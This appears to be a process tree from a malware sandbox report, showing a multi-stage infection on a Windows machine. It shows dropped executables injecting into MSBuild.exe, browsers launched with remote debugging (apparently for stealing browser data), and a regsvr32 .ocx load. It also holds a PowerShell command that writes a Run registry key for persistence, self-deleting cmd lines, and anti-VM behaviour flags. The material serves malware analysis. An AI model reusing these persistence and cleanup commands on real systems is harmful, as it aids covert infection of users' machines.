C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x260,0x264,0x268,0x25c,0x308,0x7ffcc5e7f208,0x7ffcc5e7f214,0x7ffcc5e7f22016⤵PID:14984
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1852,i,14765660991510215795,9772606434867750479,262144 --variations-seed-version --mojo-platform-channel-handle=2644 /prefetch:316⤵PID:14708
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2616,i,14765660991510215795,9772606434867750479,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:216⤵PID:14704
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2108,i,14765660991510215795,9772606434867750479,262144 --variations-seed-version --mojo-platform-channel-handle=2668 /prefetch:816⤵PID:14688
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3452,i,14765660991510215795,9772606434867750479,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:116⤵
- Uses browser remote debugging
PID:3588
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3476,i,14765660991510215795,9772606434867750479,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:116⤵
- Uses browser remote debugging
PID:14472
-
-
-
-
C:\ProgramData\q9h4w4oppp.exe"C:\ProgramData\q9h4w4oppp.exe"14⤵PID:3948
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"15⤵PID:20180
-
-
-
C:\ProgramData\8qiecb1dtj.exe"C:\ProgramData\8qiecb1dtj.exe"14⤵PID:6728
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"15⤵PID:13736
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"15⤵PID:8532
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""16⤵
- Uses browser remote debugging
PID:324 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x1c8,0x224,0x228,0x200,0x22c,0x7ffcc5abdcf8,0x7ffcc5abdd04,0x7ffcc5abdd1017⤵PID:7872
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1596,i,11762842826359745075,1740478052568574165,262144 --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:317⤵PID:21240
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2076,i,11762842826359745075,1740478052568574165,262144 --variations-seed-version --mojo-platform-channel-handle=2064 /prefetch:217⤵PID:21248
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2300,i,11762842826359745075,1740478052568574165,262144 --variations-seed-version --mojo-platform-channel-handle=2532 /prefetch:817⤵PID:21332
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3168,i,11762842826359745075,1740478052568574165,262144 --variations-seed-version --mojo-platform-channel-handle=3180 /prefetch:117⤵
- Uses browser remote debugging
PID:21388
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3200,i,11762842826359745075,1740478052568574165,262144 --variations-seed-version --mojo-platform-channel-handle=3216 /prefetch:117⤵
- Uses browser remote debugging
PID:21396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4192,i,11762842826359745075,1740478052568574165,262144 --variations-seed-version --mojo-platform-channel-handle=4220 /prefetch:217⤵
- Uses browser remote debugging
PID:21524
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4632,i,11762842826359745075,1740478052568574165,262144 --variations-seed-version --mojo-platform-channel-handle=4652 /prefetch:117⤵
- Uses browser remote debugging
PID:21776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5056,i,11762842826359745075,1740478052568574165,262144 --variations-seed-version --mojo-platform-channel-handle=5076 /prefetch:817⤵PID:12284
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5176,i,11762842826359745075,1740478052568574165,262144 --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:817⤵PID:7468
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""16⤵
- Uses browser remote debugging
PID:18436 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --edge-skip-compat-layer-relaunch17⤵
- Uses browser remote debugging
PID:18456 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x260,0x264,0x268,0x25c,0x308,0x7ffcc5e7f208,0x7ffcc5e7f214,0x7ffcc5e7f22018⤵PID:18512
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1916,i,3760193938898157418,8470417750540558045,262144 --variations-seed-version --mojo-platform-channel-handle=2192 /prefetch:318⤵PID:17808
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2076,i,3760193938898157418,8470417750540558045,262144 --variations-seed-version --mojo-platform-channel-handle=2072 /prefetch:218⤵PID:18324
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2388,i,3760193938898157418,8470417750540558045,262144 --variations-seed-version --mojo-platform-channel-handle=3004 /prefetch:818⤵PID:18864
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3504,i,3760193938898157418,8470417750540558045,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:118⤵
- Uses browser remote debugging
PID:19156
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3508,i,3760193938898157418,8470417750540558045,262144 --variations-seed-version --mojo-platform-channel-handle=3540 /prefetch:118⤵
- Uses browser remote debugging
PID:19312
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\EHJDHJKFIE.exe"16⤵PID:16528
-
C:\Users\Admin\EHJDHJKFIE.exe"C:\Users\Admin\EHJDHJKFIE.exe"17⤵PID:16392
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"18⤵PID:20548
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\HCBFIJJECF.exe"16⤵PID:19584
-
C:\Users\Admin\HCBFIJJECF.exe"C:\Users\Admin\HCBFIJJECF.exe"17⤵PID:19636
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"18⤵PID:19660
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\IIEBAFCBKF.exe"16⤵PID:19932
-
C:\Users\Admin\IIEBAFCBKF.exe"C:\Users\Admin\IIEBAFCBKF.exe"17⤵PID:20020
-
C:\Users\Admin\AppData\Local\Temp\CMB2kEg2\JBgwhzTnSksnbIWy.exeC:\Users\Admin\AppData\Local\Temp\CMB2kEg2\JBgwhzTnSksnbIWy.exe 018⤵PID:20040
-
C:\Users\Admin\AppData\Local\Temp\CMB2kEg2\KwcKZWVwPYMUYm7R.exeC:\Users\Admin\AppData\Local\Temp\CMB2kEg2\KwcKZWVwPYMUYm7R.exe 2004019⤵PID:20076
-
-
-
-
-
-
-
C:\ProgramData\vsjwt0hlfu.exe"C:\ProgramData\vsjwt0hlfu.exe"14⤵PID:19968
-
C:\Users\Admin\AppData\Local\Temp\ThVYpFSp\gzsbopLgxIdBsRRj.exeC:\Users\Admin\AppData\Local\Temp\ThVYpFSp\gzsbopLgxIdBsRRj.exe 015⤵PID:19928
-
C:\Users\Admin\AppData\Local\Temp\ThVYpFSp\hyfzDWLT4xDuwNfv.exeC:\Users\Admin\AppData\Local\Temp\ThVYpFSp\hyfzDWLT4xDuwNfv.exe 1992816⤵PID:19860
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 19860 -s 128017⤵
- Program crash
PID:17596
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 19928 -s 100816⤵
- Program crash
PID:26048
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\lfkfu" & exit14⤵PID:21412
-
C:\Windows\SysWOW64\timeout.exetimeout /t 1115⤵
- Delays execution with timeout.exe
PID:15040
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AEHIJKKFHI.exe"11⤵PID:8088
-
C:\Users\Admin\AEHIJKKFHI.exe"C:\Users\Admin\AEHIJKKFHI.exe"12⤵PID:10360
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"13⤵PID:6480
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"13⤵PID:9528
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"13⤵PID:14140
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\CGDHIEGCFH.exe"11⤵PID:6872
-
C:\Users\Admin\CGDHIEGCFH.exe"C:\Users\Admin\CGDHIEGCFH.exe"12⤵PID:13152
-
C:\Users\Admin\AppData\Local\Temp\7vD2yDLA\TY7M3evbu9OPJgr2.exeC:\Users\Admin\AppData\Local\Temp\7vD2yDLA\TY7M3evbu9OPJgr2.exe 013⤵PID:13032
-
C:\Users\Admin\AppData\Local\Temp\7vD2yDLA\jfFtJ8MHqsEeS3th.exeC:\Users\Admin\AppData\Local\Temp\7vD2yDLA\jfFtJ8MHqsEeS3th.exe 1303214⤵PID:12956
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12956 -s 72415⤵
- Program crash
PID:16108
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13032 -s 97214⤵
- Program crash
PID:4464
-
-
-
-
-
-
-
C:\ProgramData\4790zmg479.exe"C:\ProgramData\4790zmg479.exe"9⤵PID:10812
-
C:\Users\Admin\AppData\Local\Temp\GJfqn12h\CnHuOUeYXecnCrTt.exeC:\Users\Admin\AppData\Local\Temp\GJfqn12h\CnHuOUeYXecnCrTt.exe 010⤵PID:10996
-
C:\Users\Admin\AppData\Local\Temp\GJfqn12h\WiRGFGsyHrWTNIdm.exeC:\Users\Admin\AppData\Local\Temp\GJfqn12h\WiRGFGsyHrWTNIdm.exe 1099611⤵PID:11324
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11324 -s 105612⤵
- Program crash
PID:13796
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10996 -s 114811⤵
- Program crash
PID:13992
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\m79zu" & exit9⤵PID:14040
-
C:\Windows\SysWOW64\timeout.exetimeout /t 1110⤵
- Delays execution with timeout.exe
PID:14092
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"7⤵PID:4312
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵PID:3548
-
-
-
C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"7⤵PID:1248
-
C:\Users\Admin\AppData\Local\Temp\is-T26RU.tmp\Bell_Setup16.tmp"C:\Users\Admin\AppData\Local\Temp\is-T26RU.tmp\Bell_Setup16.tmp" /SL5="$A020C,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"8⤵PID:1704
-
C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT9⤵PID:4284
-
C:\Users\Admin\AppData\Local\Temp\is-0QBSD.tmp\Bell_Setup16.tmp"C:\Users\Admin\AppData\Local\Temp\is-0QBSD.tmp\Bell_Setup16.tmp" /SL5="$80034,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT10⤵PID:5196
-
C:\Windows\SysWOW64\regsvr32.exe"regsvr32.exe" /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\1wlanapi.ocx"11⤵PID:5140
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:INSTALL \"%APPDATA%\1wlanapi.ocx\"' }) { exit 0 } else { exit 1 }"12⤵
- Command and Scripting Interpreter: PowerShell
PID:1636
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe"PowerShell.exe" -NoProfile -NonInteractive -Command -12⤵
- Command and Scripting Interpreter: PowerShell
PID:5756
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:INSTALL \"%APPDATA%\1wlanapi.ocx\"' }) { exit 0 } else { exit 1 }"12⤵
- Command and Scripting Interpreter: PowerShell
PID:5576
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe"C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe"7⤵PID:564
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe8⤵PID:1800
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe9⤵PID:3512
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe10⤵PID:4384
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe11⤵PID:4000
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe12⤵PID:5552
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe13⤵PID:4456
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice.exe14⤵PID:3664
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe15⤵PID:3576
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe16⤵PID:4204
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe17⤵PID:4520
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe18⤵PID:4056
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe19⤵PID:3736
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe20⤵PID:240
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe21⤵PID:5776
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe22⤵PID:5032
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exe23⤵PID:5852
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe24⤵PID:3892
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe25⤵PID:5952
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe26⤵PID:5180
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe27⤵PID:4436
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exe28⤵PID:5580
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe29⤵PID:2292
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe30⤵PID:2272
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe31⤵PID:5296
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe32⤵PID:5044
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe33⤵PID:3136
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe34⤵PID:4056
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe35⤵PID:1800
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE javaplugin_service.exe"36⤵
- Modifies registry key
PID:5756
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-ItemProperty -Path \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" -Name \"Java Platform SE javaplugin_service.exe\" -Value '\"C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe\"'"36⤵
- Command and Scripting Interpreter: PowerShell
PID:4904
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10043020101\jokererer.exe"C:\Users\Admin\AppData\Local\Temp\10043020101\jokererer.exe"7⤵PID:2916
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵PID:1620
-
-
-
C:\Users\Admin\AppData\Local\Temp\10043970101\3251778c1b.exe"C:\Users\Admin\AppData\Local\Temp\10043970101\3251778c1b.exe"7⤵PID:12032
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\10043970101\3251778c1b.exe"8⤵PID:10864
-
-
-
C:\Users\Admin\AppData\Local\Temp\10043980101\3b1f5ada8e.exe"C:\Users\Admin\AppData\Local\Temp\10043980101\3b1f5ada8e.exe"7⤵PID:7152
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\10043980101\3b1f5ada8e.exe"8⤵PID:6416
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10369110101\Rm3cVPI.exe"C:\Users\Admin\AppData\Local\Temp\10369110101\Rm3cVPI.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3172
-
-
C:\Users\Admin\AppData\Local\Temp\10369120101\4d6f990805.exe"C:\Users\Admin\AppData\Local\Temp\10369120101\4d6f990805.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4640 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4640 -s 8406⤵
- Program crash
PID:3152
-
-
-
C:\Users\Admin\AppData\Local\Temp\10369130101\TbV75ZR.exe"C:\Users\Admin\AppData\Local\Temp\10369130101\TbV75ZR.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4920 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
- System Location Discovery: System Language Discovery
PID:220 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 6207⤵
- Program crash
PID:964
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10369140101\hYjiwV0.exe"C:\Users\Admin\AppData\Local\Temp\10369140101\hYjiwV0.exe"5⤵PID:3016
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵PID:1104
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"7⤵
- Uses browser remote debugging
PID:1748 -
